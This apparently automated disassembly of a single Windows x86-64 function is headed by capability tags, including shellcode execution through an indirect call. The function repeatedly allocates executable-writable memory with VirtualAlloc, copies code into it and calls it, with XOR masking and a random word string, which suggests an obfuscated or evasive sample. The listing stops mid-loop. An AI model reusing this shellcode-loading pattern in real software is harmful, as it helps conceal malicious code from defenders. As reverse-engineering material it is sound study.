Function at 0x14000a470
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x15770]
mov eax, 0x15870
call fcn.140025d20
sub rsp, rax
movaps xmmword [rsp + 0x15860], xmm6
movaps xmmword [rsp + 0x15850], xmm7
movaps xmmword [rsp + 0x15840], xmm8
movaps xmmword [rsp + 0x15830], xmm9
movaps xmmword [rsp + 0x15820], xmm10
movaps xmmword [rsp + 0x15810], xmm11
movaps xmmword [rsp + 0x15800], xmm12
movaps xmmword [rsp + 0x157f0], xmm13
movaps xmmword [rsp + 0x157e0], xmm14
movaps xmmword [rsp + 0x157d0], xmm15
mov rax, qword [0x140065040]
xor rax, rsp
mov qword [rbp + 0x156c0], rax
mov dword [rbp + 0x1578], ecx
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b60], xmm0
lea rcx, [rbp + 0x15798]
xor r12d, r12d
mov qword [rbp + 0x1b60], r12
movabs rbx, 0xff00ff00ff00ff00
mov qword [rbp + 0x1b68], rbx
mov qword [rbp + 0x1b70], rcx
mov rax, qword [rcx]
xor rax, rbx
mov qword [rbp + 0x1b60], rax
mov qword [rcx], r12
add dword [rbp + 0x1578], 0x79
call fcn.140024c3c
mov dword [rbp + 0x42c4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x2f40]
call fcn.1400068a0
mov dword [rbp + 0x1538], 0xffffff9c
mov dword [rbp + 0x153c], 0x64
movdqa xmm10, xmmword [0x14005b040]
movups xmmword [rbp + 0x1918], xmm10
mov dword [rsp + 0x60], r12d
xorps xmm15, xmm15
movsd qword [rsp + 0x68], xmm15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x17a0], xmm0
mov qword [rbp + 0x17b0], rax
lea rcx, [rbp + 0x17a0]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x678]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x17a0]
call fcn.140022230
nop
lea rcx, [rbp + 0x248]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x678]
call fcn.1400086c0
lea rcx, [rbp + 0x680]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x17a0]
call fcn.140022230
nop
lea rcx, [rbp + 0x250]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x680]
call fcn.1400086c0
lea rcx, [rbp + 0x688]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x258]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x17a0]
call fcn.140022230
nop
lea rcx, [rbp + 0x258]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x688]
call fcn.1400086c0
lea rcx, [rbp + 0x690]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x17a0]
call fcn.140022230
nop
lea rcx, [rbp + 0x260]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x690]
call fcn.1400086c0
lea rcx, [rbp + 0x698]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x17a0]
call fcn.140022230
nop
lea rcx, [rbp + 0x268]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x698]
call fcn.1400086c0
lea rcx, [rbp + 0x6a0]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x17a0]
call fcn.140022230
nop
lea rcx, [rbp + 0x270]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x6a0]
call fcn.1400086c0
lea rcx, [rbp + 0x23e8]
call fcn.140009fc0
mov qword [rbp + 0x6b0], 0x64
mov rax, qword [rbp + 0x23e8]
mov qword [rbp + 0x6b8], rax
lea r8, [rbp + 0x6b0]
lea rdx, [rbp + 0x6b8]
lea rcx, [rbp + 0xd60]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x80], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2be0]
call fcn.140005020
nop
lea rcx, [rbp + 0x6e0]
call fcn.140009fc0
mov qword [rbp - 0x20], rsi
mov rax, qword [rax]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call fcn.140021870
lea r13, [0x140000000]
lea r15, [0x140021750]
movsd xmm7, qword [0x14005afa8]
test al, al
jns 0x14000b8a1
nop word [rax + rax]
mov r14d, 0x2710
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r9d, dword [rbp + 0x153c]
mov r8d, dword [rbp + 0x1538]
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1538]
call fcn.140009bf0
mov rbx, qword [rbp + 0x17a8]
sub rbx, qword [rbp + 0x17a0]
sar rbx, 3
mov r9d, dword [rbp + 0x153c]
mov r8d, dword [rbp + 0x1538]
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1538]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x17a0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 0x153c]
mov r8d, dword [rbp + 0x1538]
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1538]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1dd0], xmm0
mov qword [rbp + 0x1de0], rax
mov rdx, rsi
lea rcx, [rbp + 0x1dd0]
call fcn.140009f70
nop
mov dword [rbp + 0x1630], r12d
mov dword [rbp + 0x1634], 0x19
lea rcx, [rbp + 0x2be0]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2be0]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14000a96d
nop dword [rax + rax]
mov r9d, dword [rbp + 0x1634]
mov r8d, dword [rbp + 0x1630]
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1630]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14000a940
mov rcx, qword [rbp + 0x1dd0]
xor rcx, qword [rbp + 0x1dd8]
mov qword [rbp + 0x1dd0], rcx
mov rax, qword [rbp + 0x1de0]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1618], xmm0
mov qword [rbp + 0x1628], rax
lea rcx, [rbp + 0x1618]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x1618]
call fcn.1400074f0
nop
lea rax, [rbp + 0x1538]
mov qword [rbp + 0x910], rax
lea rax, [rbp + 0x2f40]
mov qword [rbp + 0x918], rax
movups xmm6, xmmword [rbp + 0x910]
lea rdx, [rbp + 0xd68]
lea rcx, [rbp + 0x1618]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xd70]
lea rcx, [rbp + 0x1618]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xd78]
lea rcx, [rbp + 0x1618]
call fcn.140021410
mov rbx, qword [rax]
lea r8, [rbp + 0x1618]
mov rdx, qword [rbp + 0x1618]
lea rcx, [rbp + 0x6c0]
call fcn.1400213f0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rbp + 0x6c0]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1de8], xmm0
mov qword [rbp + 0x1df8], rax
mov rdx, rsi
lea rcx, [rbp + 0x1de8]
call fcn.140009f70
nop
mov dword [rbp + 0x1a18], 0xffffff9c
mov dword [rbp + 0x1a1c], 0x64
lea rax, [rbp + 0x1a18]
mov qword [rbp + 0x9f0], rax
lea rax, [rbp + 0x2f40]
mov qword [rbp + 0x9f8], rax
movups xmm6, xmmword [rbp + 0x9f0]
lea rdx, [rbp + 0xd80]
lea rcx, [rbp + 0x1618]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xd88]
lea rcx, [rbp + 0x1618]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xd90]
lea rcx, [rbp + 0x1618]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xd98]
call fcn.140021780
lea rdx, [rbp + 0xda0]
lea rcx, [rbp + 0x1618]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xda8]
lea rcx, [rbp + 0x1618]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov rcx, qword [rbp + 0x1de8]
xor rcx, qword [rbp + 0x1df0]
mov qword [rbp + 0x1de8], rcx
mov rax, qword [rbp + 0x1df8]
mov qword [rax], rcx
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1918]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1918]
call fcn.140021f10
movsd qword [rbp + 0x1a28], xmm0
movsd qword [rbp + 0x1a20], xmm6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e78], xmm0
mov qword [rbp + 0x1e88], rax
mov rdx, rsi
lea rcx, [rbp + 0x1e78]
call fcn.140009f70
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e00], xmm0
mov qword [rbp + 0x1e10], rax
mov rdx, rsi
lea rcx, [rbp + 0x1e00]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a520]
lea rbx, [0x140021750]
test rax, rax
je 0x14000ac3f
cmp rax, rbx
je 0x14000ac2c
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a520]
test rax, rax
jne 0x14000ac16
jmp 0x14000ac3f
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14000ad2f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000ac68
mov r8, r12
jmp 0x14000ad0e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000ac80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
mov qword [r13 + rax*8 + 0x6a520], rbx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1a28]
lea rcx, [0x140009f30]
call r8
nop
mov rcx, qword [rbp + 0x1e00]
xor rcx, qword [rbp + 0x1e08]
mov qword [rbp + 0x1e00], rcx
mov rax, qword [rbp + 0x1e10]
mov qword [rax], rcx
addsd xmm0, xmm7
movsd qword [rbp + 0x6c8], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e18], xmm0
mov qword [rbp + 0x1e28], rax
mov rdx, rsi
lea rcx, [rbp + 0x1e18]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000adc9
nop
cmp rax, r15
je 0x14000adb6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000ada0
jmp 0x14000adc9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000aeaf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000adf2
mov r8, r12
jmp 0x14000ae8e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000ae00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a20]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
mov rcx, qword [rbp + 0x1e18]
xor rcx, qword [rbp + 0x1e20]
mov qword [rbp + 0x1e18], rcx
mov rax, qword [rbp + 0x1e28]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1e30], xmm1
mov qword [rbp + 0x1e40], rax
mov rdx, rsi
lea rcx, [rbp + 0x1e30]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x14000af49
nop dword [rax]
cmp rax, rbx
je 0x14000af36
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14000af20
jmp 0x14000af49
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x14000b02f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000af72
mov r8, r12
jmp 0x14000b00e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000af80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x6c8]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
mov rcx, qword [rbp + 0x1e30]
xor rcx, qword [rbp + 0x1e38]
mov qword [rbp + 0x1e30], rcx
mov rax, qword [rbp + 0x1e40]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1e48], xmm1
mov qword [rbp + 0x1e58], rax
mov rdx, rsi
lea rcx, [rbp + 0x1e48]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000b0be
cmp rax, r15
je 0x14000b0ab
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000b095
jmp 0x14000b0be
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000b1a1
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000b0e7
mov r8, r12
jmp 0x14000b180
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000b0f2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a20]
lea rcx, [0x14002e260]
call r8
movaps xmm6, xmm0
mov rcx, qword [rbp + 0x1e48]
xor rcx, qword [rbp + 0x1e50]
mov qword [rbp + 0x1e48], rcx
mov rax, qword [rbp + 0x1e58]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1e60], xmm1
mov qword [rbp + 0x1e70], rax
mov rdx, rsi
lea rcx, [rbp + 0x1e60]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000b22f
cmp rax, r15
je 0x14000b21c
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000b206
jmp 0x14000b22f
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000b31f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000b258
mov r8, r12
jmp 0x14000b2fe
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000b270
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a28]
lea rcx, [0x14002dcf0]
call r8
nop
mov rcx, qword [rbp + 0x1e60]
xor rcx, qword [rbp + 0x1e68]
mov qword [rbp + 0x1e60], rcx
mov rax, qword [rbp + 0x1e70]
mov qword [rax], rcx
mulsd xmm0, xmm6
addsd xmm0, xmm8
subsd xmm0, xmm9
mov rcx, qword [rbp + 0x1e78]
xor rcx, qword [rbp + 0x1e80]
mov qword [rbp + 0x1e78], rcx
mov rax, qword [rbp + 0x1e88]
mov qword [rax], rcx
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov dword [rbp + 0x28], 3
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1918]
call fcn.140021f10
movsd qword [rbp + 0x6d0], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e90], xmm0
mov qword [rbp + 0x1ea0], rax
mov rdx, rsi
lea rcx, [rbp + 0x1e90]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rbx, [0x140021830]
test rax, rax
je 0x14000b40d
cmp rax, rbx
je 0x14000b3fa
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14000b3e4
jmp 0x14000b40d
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x14000b4f0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14000b436
mov r9, r12
jmp 0x14000b4cf
mov rax, rbx
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000b441
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rbx
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x6d0]
lea rcx, [0x140009f50]
call r9
nop
mov rcx, qword [rbp + 0x1e90]
xor rcx, qword [rbp + 0x1e98]
mov qword [rbp + 0x1e90], rcx
mov rax, qword [rbp + 0x1ea0]
mov qword [rax], rcx
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1918]
call fcn.140021f10
movsd qword [rbp + 0x6d8], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1ea8], xmm0
mov qword [rbp + 0x1eb8], rax
mov rdx, rsi
lea rcx, [rbp + 0x1ea8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a840]
lea rbx, [0x140021750]
test rax, rax
je 0x14000b5b9
nop dword [rax]
cmp rax, rbx
je 0x14000b5a6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a840]
test rax, rax
jne 0x14000b590
jmp 0x14000b5b9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14000b69f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000b5e2
mov r8, r12
jmp 0x14000b67e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000b5f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
